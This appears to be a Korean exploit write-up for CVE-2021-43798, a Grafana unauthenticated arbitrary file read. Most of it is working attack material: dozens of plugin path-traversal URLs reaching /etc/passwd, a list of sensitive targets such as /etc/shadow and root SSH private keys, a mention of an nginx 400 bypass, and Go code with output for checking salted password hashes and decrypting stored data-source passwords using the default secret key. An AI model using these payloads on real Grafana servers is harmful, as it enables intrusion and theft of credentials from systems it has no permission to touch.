CVE-2021-43798 Grafana 무단 임의 파일 읽기 취약점

8.3.1 (2021-12-07) 보안: CVE-2021-43798 수정. 자세한 정보는 블로그를 참조하세요.

https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/

예: DB 비밀번호 가져오기

/var/lib/grafana/grafana.db

솔트된 비밀번호 평문 검증 https://github.com/grafana/grafana/blob/985c61d7008211e0fbee7d095bf3424adf71b4ac/pkg/util/encoding.go

package main

import (
	"crypto/sha256"
	"encoding/hex"
	"fmt"
	"golang.org/x/crypto/pbkdf2"
)

// EncodePassword encodes a password using PBKDF2.
func EncodePassword(password string, salt string) string {
	newPasswd := pbkdf2.Key([]byte(password), []byte(salt), 10000, 50, sha256.New)
	return hex.EncodeToString(newPasswd)
}

func main() {
	fmt.Println(EncodePassword("admin", "F3FAxVm33R"))
}

설정 /etc/grafana/grafana.ini

bash-5.1$ ps -ef |grep grafana
    1 grafana   0:35 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning

데이터 소스 비밀의 암호화 보장

데이터 소스는 기본적으로 비밀번호와 기본 인증 비밀번호를 secureJsonData에 암호화(AES-256 in CFB 모드)하여 저장합니다. 기존 데이터 소스는 암호화되지 않은 비밀번호로 계속 작동합니다. 기존 데이터 소스를 암호화된 저장소로 마이그레이션하려면 다음을 수행할 수 있습니다.

UI를 통해 생성된 데이터 소스의 경우 데이터 소스 설정으로 이동하여 비밀번호 또는 기본 인증 비밀번호를 다시 입력하고 데이터 소스를 저장해야 합니다.
프로비저닝을 통해 생성된 데이터 소스의 경우 설정 파일을 업데이트하고 secureJsonData.password 또는 secureJsonData.basicAuthPassword 필드를 사용해야 합니다. 현재 구성 예제는 [프로비저닝 문서]({{< relref "../administration/provisioning" >}})를 참조하세요.

https://github.com/grafana/grafana/blob/main/pkg/util/encryption.go

비밀번호 복호화

예: 데이터베이스 /var/lib/grafana/grafana.db에서 데이터 소스 암호문 R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==을(를) 얻고, /etc/grafana/grafana.ini의 secret_key (기본값: SW2YcwTIb9zpOOhoPsMm)를 읽어 복호화합니다.

$ go run AESDecrypt.go
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
[*] plainText= jas502n

비밀번호 암호화

예: 평문 비밀번호 jas502n을(를) key를 사용하여 암호문으로 암호화

[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] PlainText= jas502n
[*] EncodePassword= QWhMOFdNZkqW6bx9YM0dPHMjzInsvycQXgMmMfFqpA==

기타 공격

/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

기본 플러그인 수: 40
성공 수: 48

Grafana nginx 프록시 오류 400 우회

https://twitter.com/chybeta/status/1468410745264041992

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

0x0 기본 설치 플러그인 (40) 목록:

http://x.x.x.x:3000/api/plugins?embedded=0

alertlist
annolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin

0x01 /usr/share/grafana/public/app/plugins/datasource ( 21)

/usr/share/grafana/public/app/plugins/datasource

bash-5.1$ ls -l
drwxr-xr-x    3 root     root          4096 Oct  7 10:55 alertmanager
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 cloud-monitoring
drwxr-xr-x    8 root     root          4096 Oct  7 10:55 cloudwatch
drwxr-xr-x    2 root     root          4096 Oct  7 10:55 dashboard
drwxr-xr-x    9 root     root          4096 Oct  7 10:55 elasticsearch
drwxr-xr-x    3 root     root          4096 Oct  7 10:55 grafana
drwxr-xr-x   19 root     root          4096 Oct  7 10:55 grafana-azure-monitor-datasource
drwxr-xr-x    9 root     root          4096 Oct  7 10:55 graphite
drwxr-xr-x    6 root     root          4096 Oct  7 10:55 influxdb
drwxr-xr-x    4 root     root          4096 Oct  7 10:55 jaeger
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 loki
drwxr-xr-x    2 root     root          4096 Oct  7 10:55 mixed
drwxr-xr-x    5 root     root          4096 Oct  7 10:55 mssql
drwxr-xr-x    5 root     root          4096 Oct  7 10:55 mysql
drwxr-xr-x    6 root     root          4096 Oct  7 10:55 opentsdb
drwxr-xr-x    5 root     root          4096 Oct  7 10:55 postgres
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 prometheus
drwxr-xr-x    4 root     root          4096 Oct  7 10:55 tempo
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 testdata
drwxr-xr-x    4 root     root          4096 Oct  7 10:55 zipkin

퍼즈 성공!

/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

0x02 /usr/share/grafana/public/app/plugins/ (29)

/usr/share/grafana/public/app/plugins/panel/

drwxr-xr-x    2 root     root        4.0K Oct  7 10:55 alertGroups
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 alertlist
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 annolist
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 barchart
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 bargauge
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 canvas
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 dashlist
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 debug
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 gauge
drwxr-xr-x    8 root     root        4.0K Oct  7 10:55 geomap
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 gettingstarted
drwxr-xr-x    5 root     root        4.0K Oct  7 10:55 graph
drwxr-xr-x    5 root     root        4.0K Oct  7 10:55 heatmap
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 histogram
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 live
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 logs
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 news
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 nodeGraph
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 piechart
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 pluginlist
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 stat
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 state-timeline
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 status-history
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 table
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 table-old
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 text
drwxr-xr-x    6 root     root        4.0K Oct  7 10:55 timeseries
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 welcome
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 xychart

퍼즈 성공

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd

Grafana-CVE-2021-43798

인기